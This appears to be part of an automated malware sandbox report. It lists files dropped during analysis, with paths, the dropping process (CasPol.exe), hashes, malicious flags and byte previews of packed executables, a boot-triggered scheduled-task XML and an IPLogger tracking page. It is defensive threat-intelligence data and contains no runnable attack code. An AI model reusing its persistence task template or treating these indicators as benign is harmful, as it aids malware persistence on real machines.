                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ypivbx3i.411.psm1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z35dvta3.tve.ps1

                                                                                                        Download File
                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):60
                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                        C:\Users\user\AppData\Local\Temp\tlxvacrdjkek.xml

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe
                                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):1490
                                                                                                        Entropy (8bit):5.1015990235428035
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:24:2dk4+SkIMFWYL60YeGlMhEMjn5pwjpILUYODOLqx49RJh7h8gJ15E15LNEB86tn:cC3IQDL60uydbQ9IIYODOLqOdq2sbEx
                                                                                                        MD5:546D67A48FF2BF7682CEA9FAC07B942E
                                                                                                        SHA1:A2CB3A9A97FD935B5E62D4C29B3E2C5AB7D5FC90
                                                                                                        SHA-256:EFF7EDC19E6C430AAECA7EA8A77251C74D1E9ABB79B183A9EE1F58C2934B4B6A
                                                                                                        SHA-512:10D90EDF31C0955BCEC52219D854952FD38768BD97E8E50D32A1237BCCAF1A5EB9F824DA0F81A7812E0CE62C0464168DD0201D1C0EB61B9FE253FE7C89DE05FE
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <Triggers>.. <BootTrigger>.. . <Enabled>true</Enabled>.. </BootTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">... <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <Duration>PT10M</Duration>.. <WaitTimeout>PT1H</WaitTimeout>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabl

                                                                                                        C:\Users\user\AppData\Local\TuMaHDPzxpAHNRHHe8lrgtR8.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\Uh63v7VRNzUECDRm8xH2VdbS.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\V77ImAzjtVAt7W94zmw0o9VA.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\VNjvZol8PlRMOfu5WlQLfgQN.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\WVaSUNuxBDiOsviBr0A0knGj.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\XiQfgDjwaoRC0aI9y1xzbcbz.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\Xkv4Yy91IYUWlrxVDJ9pNrAt.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\YD9zE2itWi7M0MjuwQoyJNq3.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\YZIOt1H7OqHvSxgYCR6O5zpg.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\ZfCRGStu7Zk7TsNuGeK3K41q.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\a00oNFnYUapr4qcZYFTTBItp.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767400905637754
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:1GFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+5:gJBm3eJcFt4uM6mFBJtLXVUs
                                                                                                        MD5:5E30A16E133AE3462F7B8DC968143D48
                                                                                                        SHA1:D1CF6AF7230719498092FF0CE7AAC1CC67112ED6
                                                                                                        SHA-256:A05C26944D1681B2FF69A0AC523FABA62C5ADCA2DF37B1D603D8D1173E7D12BA
                                                                                                        SHA-512:A9976FD22F375E2EED257A7F7F21FD3F7F88CED5D84871A5DCF3867F03CA180E1D28F9BECF78CD216BAF5E91089BBE45B1936D3A9DE489D7CA4986648A6CCB62
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.......-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\av4uoJUKtp0Dae50mONtR9f9.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\b4zg4yZEcBA3hWZ7TCSqnxRv.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\b7rS22mUxj3RgBOeSVcYPglZ.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\bsjI0DIR0uTLrijb320XXGIp.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767398658767997
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:PGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+k:+JBm3eJcFt4uM6mFBJtLXVUd
                                                                                                        MD5:AA41F78F1F683FA82608B042E57ECA06
                                                                                                        SHA1:F200B7AF0AE09444DCACC5BC64D1D208A03FEEF6
                                                                                                        SHA-256:12269AF3244CC2674E37DD7D0B7661FA074AA4AAD538E0E1E9E2A98001F45DBF
                                                                                                        SHA-512:5A13618F1296C0C66A59FC7426B6523471D43BFDAE000BA5E9B23B3B6610494345C75D2ABAB7628D445DC334EED74A4039DD2D241FFF7E21FB2BF92AA3438482
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
